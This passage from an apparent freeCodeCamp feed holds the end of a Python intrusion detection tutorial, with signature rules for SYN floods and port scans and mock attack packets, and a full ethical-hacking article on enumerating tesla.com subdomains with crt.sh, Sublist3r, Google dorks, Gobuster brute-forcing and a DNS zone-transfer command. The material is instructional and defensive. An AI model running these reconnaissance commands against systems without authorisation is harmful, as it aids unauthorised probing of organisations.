            flow_key = (ip_src, ip_dst, port_src, port_dst)

            <span class="hljs-comment"># Update flow statistics</span>
            stats = self.flow_stats[flow_key]
            stats[<span class="hljs-string">'packet_count'</span>] += <span class="hljs-number">1</span>
            stats[<span class="hljs-string">'byte_count'</span>] += len(packet)
            current_time = packet.time

            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> stats[<span class="hljs-string">'start_time'</span>]:
                stats[<span class="hljs-string">'start_time'</span>] = current_time
            stats[<span class="hljs-string">'last_time'</span>] = current_time

            <span class="hljs-keyword">return</span> self.extract_features(packet, stats)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">extract_features</span>(<span class="hljs-params">self, packet, stats</span>):</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">'packet_size'</span>: len(packet),
            <span class="hljs-string">'flow_duration'</span>: stats[<span class="hljs-string">'last_time'</span>] - stats[<span class="hljs-string">'start_time'</span>],
            <span class="hljs-string">'packet_rate'</span>: stats[<span class="hljs-string">'packet_count'</span>] / (stats[<span class="hljs-string">'last_time'</span>] - stats[<span class="hljs-string">'start_time'</span>]),
            <span class="hljs-string">'byte_rate'</span>: stats[<span class="hljs-string">'byte_count'</span>] / (stats[<span class="hljs-string">'last_time'</span>] - stats[<span class="hljs-string">'start_time'</span>]),
            <span class="hljs-string">'tcp_flags'</span>: packet[TCP].flags,
            <span class="hljs-string">'window_size'</span>: packet[TCP].window
        }
</code></pre>
<p>In this code section, we define the <code>TrafficAnalyzer</code> class to analyze network traffic. Here we track connection flows and calculate statistics for packets in real time. We use the <code>defaultdict</code> data structure in Python to manage connections and flow statistics by organizing data by unique flows.</p>
<p>The <code>__init__</code> method initializes two attributes: <code>connections</code>, which stores lists of related packets for each flow, and <code>flow_stats</code>, which stores aggregated statistics for each flow, such as packet count, byte count, start time, and the time of the most recent packet.</p>
<p>The <code>analyze_packet</code> method processes each packet. If the packet contains IP and TCP layers, it extracts the source and destination IPs and ports, forming a unique <code>flow_key</code> to identify the flow. It updates the statistics for the flow by incrementing the packet count, adding the packet’s size to the byte count, and setting or updating the start and last time of the flow. Eventually, it calls <code>extract_features</code> to calculate and return additional metrics.</p>
<p>The <code>extract_features</code> method computes detailed characteristics of the flow and the current packet. These include the packet size, flow duration, packet rate, byte rate, TCP flags, and the TCP window size. These metrics are quite useful to identify patterns, anomalies, or potential threats in network traffic.</p>
<h3 id="heading-building-the-detection-engine">Building the Detection Engine</h3>
<p>Now we will define our detection engine that will implement both the signature as well as the anomaly-based detection mechanisms:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> sklearn.ensemble <span class="hljs-keyword">import</span> IsolationForest
<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DetectionEngine</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.anomaly_detector = IsolationForest(
            contamination=<span class="hljs-number">0.1</span>,
            random_state=<span class="hljs-number">42</span>
        )
        self.signature_rules = self.load_signature_rules()
        self.training_data = []

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load_signature_rules</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">'syn_flood'</span>: {
                <span class="hljs-string">'condition'</span>: <span class="hljs-keyword">lambda</span> features: (
                    features[<span class="hljs-string">'tcp_flags'</span>] == <span class="hljs-number">2</span> <span class="hljs-keyword">and</span>  <span class="hljs-comment"># SYN flag</span>
                    features[<span class="hljs-string">'packet_rate'</span>] &gt; <span class="hljs-number">100</span>
                )
            },
            <span class="hljs-string">'port_scan'</span>: {
                <span class="hljs-string">'condition'</span>: <span class="hljs-keyword">lambda</span> features: (
                    features[<span class="hljs-string">'packet_size'</span>] &lt; <span class="hljs-number">100</span> <span class="hljs-keyword">and</span>
                    features[<span class="hljs-string">'packet_rate'</span>] &gt; <span class="hljs-number">50</span>
                )
            }
        }

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">train_anomaly_detector</span>(<span class="hljs-params">self, normal_traffic_data</span>):</span>
        self.anomaly_detector.fit(normal_traffic_data)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">detect_threats</span>(<span class="hljs-params">self, features</span>):</span>
        threats = []

        <span class="hljs-comment"># Signature-based detection</span>
        <span class="hljs-keyword">for</span> rule_name, rule <span class="hljs-keyword">in</span> self.signature_rules.items():
            <span class="hljs-keyword">if</span> rule[<span class="hljs-string">'condition'</span>](features):
                threats.append({
                    <span class="hljs-string">'type'</span>: <span class="hljs-string">'signature'</span>,
                    <span class="hljs-string">'rule'</span>: rule_name,
                    <span class="hljs-string">'confidence'</span>: <span class="hljs-number">1.0</span>
                })

        <span class="hljs-comment"># Anomaly-based detection</span>
        feature_vector = np.array([[
            features[<span class="hljs-string">'packet_size'</span>],
            features[<span class="hljs-string">'packet_rate'</span>],
            features[<span class="hljs-string">'byte_rate'</span>]
        ]])

        anomaly_score = self.anomaly_detector.score_samples(feature_vector)[<span class="hljs-number">0</span>]
        <span class="hljs-keyword">if</span> anomaly_score &lt; <span class="hljs-number">-0.5</span>:  <span class="hljs-comment"># Threshold for anomaly detection</span>
            threats.append({
                <span class="hljs-string">'type'</span>: <span class="hljs-string">'anomaly'</span>,
                <span class="hljs-string">'score'</span>: anomaly_score,
                <span class="hljs-string">'confidence'</span>: min(<span class="hljs-number">1.0</span>, abs(anomaly_score))
            })

        <span class="hljs-keyword">return</span> threats
</code></pre>
<p>This code defines a hybrid system that combines the signature-based and anomaly-based detection methods. We use the Isolation Forest model to detect anomalies and also use pre-defined rules for identifying specific attack patterns. If you would like to know more about how the Isolation Forest model works, check out <a target="_blank" href="https://medium.com/@corymaklin/isolation-forest-799fceacdda4">this</a> article.</p>
<p>In this code snippet, the <code>train_anomaly_detector</code> method trains the Isolation Forest model using a dataset of normal traffic features. This enables the model to differentiate typical traffic patterns from anomalies.</p>
<p>The <code>detect_threats</code> method evaluates network traffic features for potential threats using two approaches:</p>
<ol>
<li><p><strong>Signature-Based Detection</strong>: It iteratively goes through each of the predefined rules, applying the rule’s condition to the traffic features. If a rule matches, a signature-based threat is recorded with high confidence.</p>
</li>
<li><p><strong>Anomaly-Based Detection</strong>: It processes the feature vector (packet size, packet rate, and byte rate) through the Isolation Forest model to calculate an anomaly score. If the score indicates unusual behavior, the detection engine triggers it as an anomaly and produces a confidence score proportional to the anomaly’s severity.</p>
</li>
</ol>
<p>Finally, we return the aggregated list of identified threats with their respective annotation (either signature or anomaly), the rule or score that triggered the anomaly, and a confidence score that suggests how likely it is that the identified pattern is a threat.</p>
<h3 id="heading-building-the-alert-system">Building the Alert System</h3>
<p>Now let’s build the last component of our IDS which is the alert system. It will process and log detected threats in a structured way. You will also have the option to extend the system to include additional notification mechanisms like Slack, Jira tickets, and so on</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> logging
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AlertSystem</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, log_file=<span class="hljs-string">"ids_alerts.log"</span></span>):</span>
        self.logger = logging.getLogger(<span class="hljs-string">"IDS_Alerts"</span>)
        self.logger.setLevel(logging.INFO)

        handler = logging.FileHandler(log_file)
        formatter = logging.Formatter(
            <span class="hljs-string">'%(asctime)s - %(levelname)s - %(message)s'</span>
        )
        handler.setFormatter(formatter)
        self.logger.addHandler(handler)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_alert</span>(<span class="hljs-params">self, threat, packet_info</span>):</span>
        alert = {
            <span class="hljs-string">'timestamp'</span>: datetime.now().isoformat(),
            <span class="hljs-string">'threat_type'</span>: threat[<span class="hljs-string">'type'</span>],
            <span class="hljs-string">'source_ip'</span>: packet_info.get(<span class="hljs-string">'source_ip'</span>),
            <span class="hljs-string">'destination_ip'</span>: packet_info.get(<span class="hljs-string">'destination_ip'</span>),
            <span class="hljs-string">'confidence'</span>: threat.get(<span class="hljs-string">'confidence'</span>, <span class="hljs-number">0.0</span>),
            <span class="hljs-string">'details'</span>: threat
        }

        self.logger.warning(json.dumps(alert))

        <span class="hljs-keyword">if</span> threat[<span class="hljs-string">'confidence'</span>] &gt; <span class="hljs-number">0.8</span>:
            self.logger.critical(
                <span class="hljs-string">f"High confidence threat detected: <span class="hljs-subst">{json.dumps(alert)}</span>"</span>
            )
            <span class="hljs-comment"># Implement additional notification methods here</span>
            <span class="hljs-comment"># (e.g., email, Slack, SIEM integration)</span>
</code></pre>
<p>The <code>init</code> method sets up a logger named <code>IDS_Alerts</code> with an <code>INFO</code> logging level to capture alert information. It writes logs to a specified file, <code>ids_alerts.log</code> by default. A <code>FileHandler</code> directs logs to the file, while the <code>Formatter</code> ensures the logs follow a consistent format.</p>
<p>The <code>generate_alert</code> method is responsible for creating structured alert entries. Each alert includes key information such as the timestamp of detection, the type of threat, the source and destination IPs involved, the confidence level of the detection, and additional threat-specific details. These alerts are logged as <code>WARNING</code> level messages in JSON format.</p>
<p>If the confidence level of a detected threat is high (greater than 0.8), the alert is escalated and logged as a <code>CRITICAL</code> level message. Note that this method is designed to be extensible, allowing for additional notification mechanisms, such as sending alerts via email or integrating with third-party systems like Slack or SIEM solutions.</p>
<h3 id="heading-putting-it-all-together">Putting it All Together</h3>
<p>Now let’s integrate all the components together into our fully functional IDS solution:</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">IntrusionDetectionSystem</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, interface=<span class="hljs-string">"eth0"</span></span>):</span>
        self.packet_capture = PacketCapture()
        self.traffic_analyzer = TrafficAnalyzer()
        self.detection_engine = DetectionEngine()
        self.alert_system = AlertSystem()

        self.interface = interface

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">start</span>(<span class="hljs-params">self</span>):</span>
        print(<span class="hljs-string">f"Starting IDS on interface <span class="hljs-subst">{self.interface}</span>"</span>)
        self.packet_capture.start_capture(self.interface)

        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
            <span class="hljs-keyword">try</span>:
                packet = self.packet_capture.packet_queue.get(timeout=<span class="hljs-number">1</span>)
                features = self.traffic_analyzer.analyze_packet(packet)

                <span class="hljs-keyword">if</span> features:
                    threats = self.detection_engine.detect_threats(features)

                    <span class="hljs-keyword">for</span> threat <span class="hljs-keyword">in</span> threats:
                        packet_info = {
                            <span class="hljs-string">'source_ip'</span>: packet[IP].src,
                            <span class="hljs-string">'destination_ip'</span>: packet[IP].dst,
                            <span class="hljs-string">'source_port'</span>: packet[TCP].sport,
                            <span class="hljs-string">'destination_port'</span>: packet[TCP].dport
                        }
                        self.alert_system.generate_alert(threat, packet_info)

            <span class="hljs-keyword">except</span> queue.Empty:
                <span class="hljs-keyword">continue</span>
            <span class="hljs-keyword">except</span> KeyboardInterrupt:
                print(<span class="hljs-string">"Stopping IDS..."</span>)
                self.packet_capture.stop()
                <span class="hljs-keyword">break</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    ids = IntrusionDetectionSystem()
    ids.start()
</code></pre>
<p>In this code, the <code>IntrusionDetectionSystem</code> class sets up its core components: <code>PacketCapture</code> for capturing packets from a network interface, <code>TrafficAnalyzer</code> for extracting and analyzing packet features, <code>DetectionEngine</code> for identifying threats using both signature-based and anomaly-based methods, and <code>AlertSystem</code> for logging and escalating detected threats. The interface parameter specifies the network interface to monitor, defaulting to <code>eth0</code> (the generally named ethernet interface on most systems).</p>
<p>The <code>start</code> function initiates the IDS. It begins by starting packet capture on the specified interface and enters a loop to continuously process incoming packets. For each packet captured, the system extracts its features using the <code>TrafficAnalyzer</code> and analyzes them for potential threats using the <code>DetectionEngine</code>. If any threats are detected, the system generates detailed alerts through the <code>AlertSystem</code>.</p>
<p>The system runs in a loop until interrupted by either of the two key exceptions: <code>queue.Empty</code>, which occurs if no packets are available for processing, and <code>KeyboardInterrupt</code>, which stops the IDS gracefully by halting packet capture and exiting the loop.</p>
<h2 id="heading-ideas-to-extend-the-ids">Ideas to Extend the IDS</h2>
<p>To enhance or extend the IDS, you can consider designing or implementing the following features / improvements:</p>
<ol>
<li><p><strong>Machine Learning enhancements:</strong> You can enhance the IDS capabilities by incorporating deep learning models like Auto Encoders for anomaly detection and using RNNs for sequential pattern analysis. This will improve the system’s ability to identify complex and evolving threats by leveraging advanced feature engineering.</p>
</li>
<li><p><strong>Performance optimizations</strong>: You can optimize the IDS using PyPy for faster execution, packet sampling to handle high-traffic networks, and parallel processing to scale the system efficiently.</p>
</li>
<li><p><strong>Integration capabilities</strong>: You can extend the IDS by considering support for a REST API for remote monitoring, enabling seamless interaction with external systems.</p>
</li>
</ol>
<h2 id="heading-security-considerations">Security Considerations</h2>
<p>When deploying the IDS, note that the system is a proof-of-concept and is not intended for production use-cases. Also keep the following things in mind:</p>
<ul>
<li><p>Run the system with appropriate permissions (root/admin required for packet capture)</p>
</li>
<li><p>Secure the alert logs and implement proper log rotation</p>
</li>
<li><p>Regularly update signature rules and retrain anomaly detection models</p>
</li>
<li><p>Monitor system resource usage, especially in high-traffic environments</p>
</li>
<li><p>Implement proper access controls for the IDS configuration and alerts</p>
</li>
</ul>
<h2 id="heading-testing-the-ids-on-mock-data">Testing the IDS on Mock Data</h2>
<p>To validate the functionality of your IDS, you can test it using mock data that will simulate real-world network traffic. This will allow you to observe how the system processes packets, analyzes traffic, and generates alerts without requiring a live network environment.</p>
<p>Use the following function to test the IDS:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> scapy.all <span class="hljs-keyword">import</span> IP, TCP

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">test_ids</span>():</span>
    <span class="hljs-comment"># Create test packets to simulate various scenarios</span>
    test_packets = [
        <span class="hljs-comment"># Normal traffic</span>
        IP(src=<span class="hljs-string">"192.168.1.1"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">1234</span>, dport=<span class="hljs-number">80</span>, flags=<span class="hljs-string">"A"</span>),
        IP(src=<span class="hljs-string">"192.168.1.3"</span>, dst=<span class="hljs-string">"192.168.1.4"</span>) / TCP(sport=<span class="hljs-number">1235</span>, dport=<span class="hljs-number">443</span>, flags=<span class="hljs-string">"P"</span>),

        <span class="hljs-comment"># SYN flood simulation</span>
        IP(src=<span class="hljs-string">"10.0.0.1"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">5678</span>, dport=<span class="hljs-number">80</span>, flags=<span class="hljs-string">"S"</span>),
        IP(src=<span class="hljs-string">"10.0.0.2"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">5679</span>, dport=<span class="hljs-number">80</span>, flags=<span class="hljs-string">"S"</span>),
        IP(src=<span class="hljs-string">"10.0.0.3"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">5680</span>, dport=<span class="hljs-number">80</span>, flags=<span class="hljs-string">"S"</span>),

        <span class="hljs-comment"># Port scan simulation</span>
        IP(src=<span class="hljs-string">"192.168.1.100"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">4321</span>, dport=<span class="hljs-number">22</span>, flags=<span class="hljs-string">"S"</span>),
        IP(src=<span class="hljs-string">"192.168.1.100"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">4321</span>, dport=<span class="hljs-number">23</span>, flags=<span class="hljs-string">"S"</span>),
        IP(src=<span class="hljs-string">"192.168.1.100"</span>, dst=<span class="hljs-string">"192.168.1.2"</span>) / TCP(sport=<span class="hljs-number">4321</span>, dport=<span class="hljs-number">25</span>, flags=<span class="hljs-string">"S"</span>),
    ]

    ids = IntrusionDetectionSystem()

    <span class="hljs-comment"># Simulate packet processing and threat detection</span>
    print(<span class="hljs-string">"Starting IDS Test..."</span>)
    <span class="hljs-keyword">for</span> i, packet <span class="hljs-keyword">in</span> enumerate(test_packets, <span class="hljs-number">1</span>):
        print(<span class="hljs-string">f"\nProcessing packet <span class="hljs-subst">{i}</span>: <span class="hljs-subst">{packet.summary()}</span>"</span>)

        <span class="hljs-comment"># Analyze the packet</span>
        features = ids.traffic_analyzer.analyze_packet(packet)

        <span class="hljs-keyword">if</span> features:
            <span class="hljs-comment"># Detect threats based on features</span>
            threats = ids.detection_engine.detect_threats(features)

            <span class="hljs-keyword">if</span> threats:
                print(<span class="hljs-string">f"Detected threats: <span class="hljs-subst">{threats}</span>"</span>)
            <span class="hljs-keyword">else</span>:
                print(<span class="hljs-string">"No threats detected."</span>)
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"Packet does not contain IP/TCP layers or is ignored."</span>)

    print(<span class="hljs-string">"\nIDS Test Completed."</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    test_ids()
</code></pre>
<p>This will test the system against a variety of attacks like SYN flooding and port scanning.</p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>Now you know how to build a basic intrusion detection system with Python and a few open-source libraries! This IDS demonstrates some core concepts of network security and real-time threat detection.</p>
<p>Keep in mind that this tutorial is for educational purposes only. There are professionally designed enterprise-grade systems like Snort and Suricata that can handle advanced threats and large-scale deployments.</p>
<p>I hope you gained insights into network security fundamentals and learned how Python can be used to build practical security solutions.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Discover Hidden Subdomains as an Ethical Hacker ]]>
                </title>
                <description>
                    <![CDATA[ Subdomains are an essential part of a website’s infrastructure. They provide additional functions in a web application, such as APIs, admin portals, and staging environments. As an ethical hacker, discovering subdomains is a critical step in learning... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-discover-hidden-subdomains-as-an-ethical-hacker/</link>
                <guid isPermaLink="false">677d84ad446398ca6f670bef</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ gobuster ]]>
                    </category>
                
                    <category>
                        <![CDATA[ domain ]]>
                    </category>
                
                    <category>
                        <![CDATA[ subdomains ]]>
                    </category>
                
                    <category>
                        <![CDATA[ fuzzing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 07 Jan 2025 19:46:53 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806321604/dec39da9-6dd8-4a73-ba64-5cf894ce34f4.webp" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Subdomains are an essential part of a website’s infrastructure. They provide additional functions in a web application, such as APIs, admin portals, and staging environments.</p>
<p>As an ethical hacker, discovering subdomains is a critical step in learning the attack surface of a target. Subdomains might not be protected well, unlike the main domain. So they can be a great entry point for security auditing or bug bounty programs.</p>
<p>In this article, I’ll walk you through how to find subdomains using multiple methods. We will use <a target="_blank" href="http://tesla.com/">tesla.com</a> as our example in subdomain research.</p>
<blockquote>
<p><em>Note: tesla.com is part of bug bounty programs, so we have permission to scan it for subdomains. If you are doing this in another web application, make sure you have permission.</em></p>
</blockquote>
<h2 id="heading-crtsh"><strong>Crt.sh</strong></h2>
<p>One of the easiest ways to start is by checking Certificate Transparency (CT) logs using <a target="_blank" href="https://crt.sh/">crt.sh</a>. This website records every SSL/TLS certificate issued for a domain, including subdomains.</p>
<p>To search for Tesla’s subdomains, visit <a target="_blank" href="https://crt.sh/">crt.sh</a> and enter <code>%.tesla.com</code> as the query. The <code>%</code> acts as a wildcard to match any subdomains.</p>
<p>Let's look at the results:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806389562/eabc92c8-6fff-45fb-ba1c-00f582a31c4f.webp" alt="tesla.com subdomain research - results of running tesla.com through crt.sh" class="image--center mx-auto" width="1100" height="471" loading="lazy"></p>
<p>We can see a lot of interesting subdomains listed in the results. These subdomains may belong to different parts of Tesla’s infrastructure.</p>
<p>For example, <code>shop.tesla.com</code> is likely for their online store, while <code>api.tesla.com</code> could host application programming interfaces.</p>
<p>Using <code>crt.sh</code> is passive, meaning it doesn’t interact with the target, making it both safe and stealthy.</p>
<p>Note that <a target="_blank" href="http://crt.sh">crt.sh</a> will only display subdomains that have valid certificates. If a subdomain uses self-signed certificates or doesn’t use SSL/TLS at all, it may not appear in these logs. Despite this limitation, <a target="_blank" href="http://crt.sh">crt.sh</a> remains a quick and efficient starting point for subdomain enumeration.</p>
<h2 id="heading-sublist3r"><strong>Sublist3r</strong></h2>
<p><a target="_blank" href="https://github.com/aboul3la/Sublist3r">Sublist3r</a> is an open-source tool to automate finding subdomains. It’s helpful in both security assessments and general reconnaissance.</p>
<p>By using multiple search engines (like Google, Bing, Yahoo, and more) Sublist3r finds subdomains that might otherwise remain hidden.</p>
<p>Sublist3r’s command-line interface is simple to use — you give it a domain, and Sublist3r goes to work.</p>
<p>Thanks to its open-source nature, it’s actively maintained and improved by the security community.</p>
<p>Sublist3r is not pre-installed on Kali, so lets go ahead and install it. First, clone the repository and install the requirements:</p>
<pre><code class="lang-plaintext">git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
sudo pip install -r requirements.txt
</code></pre>
<p>Now we are ready to use the sublist3r tool. Here is the syntax to use sublist3r:</p>
<pre><code class="lang-plaintext">python sublist3r.py -d tesla.com
</code></pre>
<p>After a few minutes, Sublist3r will return a list of discovered subdomains. The <code>-d</code> flag tells sublist3r that the domain to use is tesla.com</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806446961/b2f239bf-5a9b-4da6-a875-d9326e2b0621.webp" alt="sublist3r response" class="image--center mx-auto" width="1100" height="313" loading="lazy"></p>
<p>You can see that sublist3r has found more than 300 subdomains of <a target="_blank" href="http://tesla.com">tesla.com</a>. Sublist3r is an excellent way to jump-start the recon process, especially if you want to automate the collection of subdomains without installing numerous separate tools.</p>
<p>Note that Sublist3r relies on the APIs of these search engines and other data sources. So it can sometimes miss subdomains that haven’t been crawled or indexed.</p>
<h2 id="heading-google-dorking"><strong>Google Dorking</strong></h2>
<p>Google dorking (sometimes called “Google hacking”) refers to the practice of using special search queries on Google. These operators help to find hidden information, sensitive data, or other resources that would otherwise be hard to locate.</p>
<p>Common operators include <code>site:</code>, <code>inurl:</code>, <code>filetype:</code>, and <code>intitle:</code>, among many others. Let’s start with the <code>site:</code> operator:</p>
<pre><code class="lang-plaintext">site:*.tesla.com
</code></pre>
<p>This query searches for any subdomain of <a target="_blank" href="http://tesla.com"><code>tesla.com</code></a>. Here are some search results.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806489328/fb4187aa-aa35-45d7-b975-5487de0093e2.webp" alt="tesla.com google dork" class="image--center mx-auto" width="1100" height="619" loading="lazy"></p>
<p>To dig deeper, try combining <code>site:</code> with other operators. For example, we can use the <code>inurl</code> operator with the keyword ‘admin’ to find URLs containing the word admin.</p>
<pre><code class="lang-plaintext">site:*.tesla.com inurl:admi
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806522371/02c44cdd-1bc3-4c8c-822a-16f883b6c166.webp" alt="02c44cdd-1bc3-4c8c-822a-16f883b6c166" class="image--center mx-auto" width="1100" height="604" loading="lazy"></p>
<p>By using these operators (known as Google dorks), you can filter search results to find specific file types, directories, or even private information that may be unintentionally exposed on the internet.</p>
<p>Dorking can produce a lot of data, so you may need to carefully filter your searches to avoid getting flooded with irrelevant information.</p>
<p><a target="_blank" href="https://www.stealthsecurity.sh/p/google-dorking-the-ultimate-guide-to-finding-hidden-information-on-the-web">Here is a full tutorial</a> on Google dorking.</p>
<h2 id="heading-fuzzing-with-gobuster"><strong>Fuzzing with GoBuster</strong></h2>
<p>Now what if the subdomains of a target are not listed anywhere on the internet? We fuzz for it.</p>
<p>Fuzzing is simply brute-forcing potential subdomain names by trying combinations from a wordlist. A wordlist is a list of words that we will use along with the fuzzing tool to see if a subdomain exists.</p>
<p>A subdomain wordlist can contain words like:</p>
<pre><code class="lang-plaintext">ftp
root
admin
portal
api
</code></pre>
<p>Tools like Gobuster and Ffuf can use a wordlist to check whether these subdomains exist. Here is a sample <a target="_blank" href="https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/DNS/subdomains-top1million-110000.txt">subdomain wordlist</a>.</p>
<h3 id="heading-how-gobuster-works"><strong>How Gobuster Works</strong></h3>
<p><a target="_blank" href="https://www.stealthsecurity.sh/p/finding-hidden-directories-subdomains-s3-buckets-using-gobuster">Gobuster</a> is a fast brute-force tool for discovering hidden URLs, files, and directories within websites.</p>
<p>Ffuf is a wonderful web fuzzer, but Gobuster is a faster and more flexible alternative. Gobuster has support for extensions with which we can increase its capabilities.</p>
<p>Gobuster also can scale using multiple threads and perform parallel scans to speed up results.</p>
<p>Gobuster comes pre-installed in Kali Linux. Let’s run the following command to look for subdomains. You can find the word list under /usr/share/wordlists/SecLists in Kali Linux.</p>
<pre><code class="lang-plaintext">gobuster dns -d tesla.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
</code></pre>
<p>The above command checks each word in the wordlist to see if it resolves to a valid subdomain. Here’s a sample output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735806581200/46b3d437-9918-416c-a510-f647e9ac303e.webp" alt="46b3d437-9918-416c-a510-f647e9ac303e" class="image--center mx-auto" width="1100" height="371" loading="lazy"></p>
<p>Gobuster’s results show valid subdomains, including some that might not appear in public databases, like <code>staging.tesla.com</code> or <code>dev.tesla.com</code>.</p>
<p>Fuzzing should be combined with other methods since the results are only as good as the wordlist. For example, prod-version-2.tesla.com can be a subdomain which may not be a part of the wordlist.</p>
<h2 id="heading-other-methods-for-subdomain-discovery"><strong>Other Methods for Subdomain Discovery</strong></h2>
<h3 id="heading-dns-zone-transfers"><strong>DNS Zone Transfers</strong></h3>
<p>While rare, misconfigured DNS servers can allow zone transfers, revealing all subdomains at once. You can test this using <code>dig</code>:</p>
<pre><code class="lang-plaintext">dig axfr @ns1.tesla.com tesla.com
</code></pre>
<p>If the server is properly secured, it won’t allow a zone transfer. But if it’s misconfigured, you might uncover every subdomain Tesla uses.</p>
<h3 id="heading-online-tools"><strong>Online Tools</strong></h3>
<p>Websites like <a target="_blank" href="https://securitytrails.com/">SecurityTrails</a>, <a target="_blank" href="https://shodan.io/">Shodan</a>, and <a target="_blank" href="https://censys.io/">Censys</a> aggregate subdomain data. These tools provide a centralized view of publicly available information.</p>
<h3 id="heading-inspecting-javascript-files"><strong>Inspecting JavaScript Files</strong></h3>
<p>Subdomains often appear in a website’s JavaScript files. By examining Tesla’s website, you might find references to API endpoints or other subdomains.</p>
<h2 id="heading-post-subdomain-discovery">Post-Subdomain Discovery</h2>
<p>Once you have a list of subdomains, we can probe them further. We may discover sign-in portals, development pages, or API endpoints.</p>
<p>Ethical hackers typically use port scanning and service enumeration tools like Nmap and Nikto to find the open ports and running services on each subdomain. Identifying outdated software, insecure protocols, or default credentials is often the next critical step, as these are common weak points in any environment.</p>
<p>Subdomains often show us the broader infrastructure of the website if they are left unprotected.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Subdomain discovery is a critical skill for ethical hackers. It helps us understand the complete picture of a web application. The more we know, the better entry points we have to gain access.</p>
<p>Before using these techniques, always ensure you have proper authorization. Subdomain discovery helps with security audits by uncovering hidden assets and helping organizations protect themselves from potential threats.</p>
<p>For more practical tutorials on cybersecurity, join our <a target="_blank" href="https://www.stealthsecurity.sh/"><strong>weekly newsletter</strong></a>. If you want to practice these subdomain discovery techniques through a hands-on lab, join us at the <a target="_blank" href="https://www.skool.com/hackershub"><strong>Hacker’s Hub</strong></a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build a Real-time Network Traffic Dashboard with Python and Streamlit ]]>
                </title>
                <description>
                    <![CDATA[ Have you ever wanted to visualize your network traffic in real-time? In this tutorial, you will be learning how to build an interactive network traffic analysis dashboard with Python and Streamlit. Streamlit is an open-source Python framework you can... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-real-time-network-traffic-dashboard-with-python-and-streamlit/</link>
                <guid isPermaLink="false">67786dec9c66c24e89239f0a</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ networking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Chaitanya Rahalkar ]]>
                </dc:creator>
                <pubDate>Fri, 03 Jan 2025 23:08:28 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735280432228/33730b4a-6424-48b0-a7bf-ef029663fb90.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Have you ever wanted to visualize your network traffic in real-time? In this tutorial, you will be learning how to build an interactive network traffic analysis dashboard with Python and <code>Streamlit</code>. <code>Streamlit</code> is an open-source Python framework you can use to develop web applications for data analysis and data processing.</p>
